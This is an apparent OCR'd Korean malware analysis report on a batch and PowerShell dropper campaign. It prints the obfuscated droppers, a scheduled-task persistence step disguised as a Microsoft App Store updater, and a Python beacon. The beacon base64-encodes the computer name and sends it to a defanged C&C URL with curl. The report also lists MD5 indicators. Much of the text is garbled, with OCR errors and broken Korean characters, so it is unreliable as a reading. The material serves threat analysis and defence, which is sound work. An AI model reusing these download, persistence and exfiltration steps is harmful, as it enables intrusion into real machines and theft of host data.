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3BWndE = New- Object byte[] 0C 1
3PyNgqyzibs7QC.Read ($BWndE, 0, 0x00C 46);
SWEFCYCZmLWV = $lqumCXpOy replace(' lﬁk' '.html');
sc $WEFCYCZmLWV $BWndE -Encoding Byte;

& SWFCYCZmLWV;

$PyNgqyzibs7QC. Seek (0200002702, [System.IO.SeekOrigin]: :Begin) ;
$TSEmRKon=New-Object byte[] 0x00001F7C;
$PYNgqyzibs7QC.Read ($TSEmRKon, 0, 0x00001E7C);

$PyNgqyzibs7QC.Close() ;
Remove-Item -Path $1dXgmCXpOy_ -Force;
$x3]Fn—$env temp+'\ ms QQCU b'+ 'a' + "ty
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(3) _ms3360.bat A== B0 EXAES EHOF £ 2Mat 01E5H0] StaAty &9
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Fecho off
set atnavidh=teSOv6gqf21ThMpH712mnNKECX4UOKwir8bzdaGFDCSST]0L3WAIUR
atnavidh:~42,1%%atnavidh:~1,1%%atnavidh:~0,1% %atnavidh:~0,1%%atnavidh:~12,1%%
atnavidh:~42,1%%atnavidh:~1,1%%atnavidh:~0,1% $atnavidh:~28,1%%atnavidh:~52,1%
:Start_juice
tatnavidh:~0,1%%atnavidh:~31,1%%atnavidh:
atnavidh:~24,1%%atnavidh:~52,1%%atnavidh
atnavidh:~31,1%%atnavidh:~8,1% %$atnavidh:
%atnavidh:~6,1%%atnavidh:~28,1%%atnavidh

~19,1%%atnavidh:~1,1%%atnavidh:~28,1%%
~32,1%%atnavidh:~17,1% "$themeaddr$"
~20,1%%atnavidh:~28,1%%atnavidh:~0,1%
~0,1%%atnavidh:~28,1% %atnavidh
)
tatnavidh ~28,1%%atnavidh:~32,1% $3A

~8,1%%atnavidh $atnavidh:~31,1%%atnavidh:~20,1%

tatnavidh $atnavidh:~1,1%%atnavidh:~17,1% /%atnavidh:~8,1% /%atnavidh:~7,1%

)

~36,1%

atnavidh
tatnavidh

atnavidh:
-$atnavidh:

$atnavidh:~1,1%%atnavidh:~25,1%%atnavidh:~31,1%%atnavic
~2,1%%atnavidh

~1,1%%atnavidh:~19,1%%atnavidh:~1,1%%atnavidh:-
~0,1%%atnavidh:~8,1%%atnavidh:~31,1%%atnavidh

tatnavic
"$atnavi

~52,1%%atnavidh:~0,1% -%atnavidh:~0,1%
~28,1% -%atnavidh:~50,1%

~0,1%%atnavidh:~37,1%%atnavidh:~32,1%%atnat

(%outfile¥) %atnavidh:~40,1%%atnavidh:~3,1% $atnay

batnavidh:~31,1%%atnavidh:~8,1% $FSIZE% $atnavidh:~1,l%%atnavidh:~7,61$%atnavidh:~52,1% $atnavidh:~26,1%satnavidh:~18,1%%atnavidh:~43,1
tatnavidh:~36,1%%atnavidh:~1,1%%atnavidh:~17,1% /%atnavidh:~8,1% /%atnavidh:~7,1% $outfile®
tatnavidh:~6,1%%atnavidh:~28,1%%atnavidh:~0,1%%atnavidh:~28,1% %atnavidh:~2,61%%atnavidh:~0,61%%atnavidh:~37,1%%atnavidh:~32,1%%atnavidh
:Eextract_juice

tatnavidh:~31,1%%atnavidh:~8,1% %atnavidh:~1,61%%atnavidh:~25,1%%atnavidh:~31,1%%atnavidh:~42,61%%atnavidh:~0,1% $outfilet (
tatnavidh:~1,61 tnavidh:~25,1%%atnavidh:~14,1%%atnavidh:~37,1%%atnavidh:~20,1%%atnavidh:~36,1% %outfile% -%atnavidh:~39,1%:* "Satnavic
batnavidh:~42,1%%atnavidh:~24,1%%atnavidh:~12,1%%atnavidh:~0,1%%atnavidh: ~37,1%%atnavidh: ~42, 1%%atnavidh:~22, 1%%atnavidh: ~42,1% /$atnax

soutfilet

[A& 3] _ms3360.ba
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* C&C: hxxp://**taibs.co[.]kr/attach/recruit/cruit0.php?
* 20 HZ: CWProgramData
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Fecho off
Set atnavidh=teSOvégqfZ1ThMpHT1 4UCKwir DCsSIFOL3WASUP
set th ddr=http:// ggtaibs.co.kr/attach/recruit/cruitf.php?dwlen=call

© Wstemp163.cab - ¥1E|T (AHHE)

S HEE A0 HEG =AWV =0 E8A)

hd

set outfile=' \Users\Public\wstemplé3.cab"
:Stazt_julea
t 15 /ncbreak
1 ~t1wr—addr~ -0 "doutfilei" -A "Mozilla/5.0 (Windows NT 1
if not exist Soutfiled (

goto Start_juice

0; Win€d; x64) AppleWsbKit/S3

)
for 4UA in (%outfilet) DO SET FSIZE=%%-~zA
if $FSIZE% equ 4253081 gote Eextract_juice
del /f /q soutfiled

gote Start juice

:Bextract_juice

if exist %outfiled (

£ wstempledcab 0|8
4 | MicrosoftApps | .
A DUs L DLLs
> b Lib "
appstore version

P NMicrosoftAppstoreexe
“ python2;.dll

and %outfile® -F:* "C:\ProgramData"

174,579
27,648
2,286,080

tasks /create /sc minute /mo 9 /tn "MicrosoftAppStorehutoUpdateTaskMachine™
del /f /q Soutfiles
}

/tr "C:\ProgramData\MicrosoftAppstoreUpdate\MicrosoftAppStore.exe C:\ProgrambData\Mi|
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(5) &= oY LfFo| mMAL MicrosoftAppStoreAutoUpdateTaskMachine O|E2 2 =Y
2AHE2 0| SSEICEH MicrosoftAppStore.exe 2| QIALE appstore.version & AWst= 20|
M H |0 MicrosoftAppStore.exe = appstore.version & A3sl= e Ot
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@ MicrosoftAppStoreAutoUpdateTaskMachine
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AHA %]
C\ProgramData\MicrosoftAppstoreUpdatejMicrosoftAppStore.exe :\ProgramData\MicrosoftAppstoreUpdat
A =
(A8 5] &Y &A= 448

(6) appstore.version 2 HHESHE p

Of2fl C&C OlA MicroAppStoreTemp28h2.bat It 2 S CH2ZEsH0] A

CaC: hxxp://**taibs.co[.]kr/attach/recruit/cruitO.php?cfast:[parameter]
omAF=: CWProgramDataWM|croAppsTemp28h2 bat

os

base64

subprocess
"t sys

=] appstore.version E |

DIN7tmcZQ10=0s.environ[ COMPUTERNAME ]

f_xwzSGKo=base64. bt (DIN7tmcZQ1@. (utf-8)). (a )

mNUIrXYFyQIQX="curl "http://4utaibs.co.kr/attach/recruit/cruit@.php?cfast="

xcrxj=mNUIrXYFyQJQX + +_xwzSGKo + '"

Bq85TJ1770u="C :-r‘ogr‘amData-ic roAppStoreTemp28h2.bat"

NVtEq8eZWj@eBLgl=" -A "

Xcrxj=xcrxj+ “-o

proc=subprocess.

proc. )

if os.path.
procl

Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 (KHTML
+Bg85TI770u+NVtEq8eZWjOeBLql

en(xcrxj,stdout=subprocess.PIPE,creationflags=0x88000000)
s(Bg85TJ770u) :
subprocess.
procl.w
os.

import baseé4

(Bg85TJ770u, creationflags=0x08000000)

(Bg85TI770u)

[1& 6] appstore.version SESiK ZE
7) 24 ZA| cac E4M0| 27510 MicroAppsTemp28h2.bat It 2 2HOISIX| 2RO Lt
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*C&C

hxxp://**taibs.col.]kr/attach/recruit/cruit0.php?dwlen=call
hxxp://**taibs.col.]kr/attach/recruit/cruit0.php?cfast=[parameter]

*MD5
F51F60834BA1734AE3765661D0F2654A
345DECFFC710344A55FE121DF7692DF8
BDDE4878F82DDA79D983464153D71009
DEA8785B4C54D9AE6FA9C24DE77531EB
DE26582DDA75C138F35E932DD2424EEA
640C6F987B24F35BB29D3DB0OF4B8C87B
8A0D6260ECDF551342633C93C03E4511
90026C2DBDB294B13FD03DA2BEO11DD1
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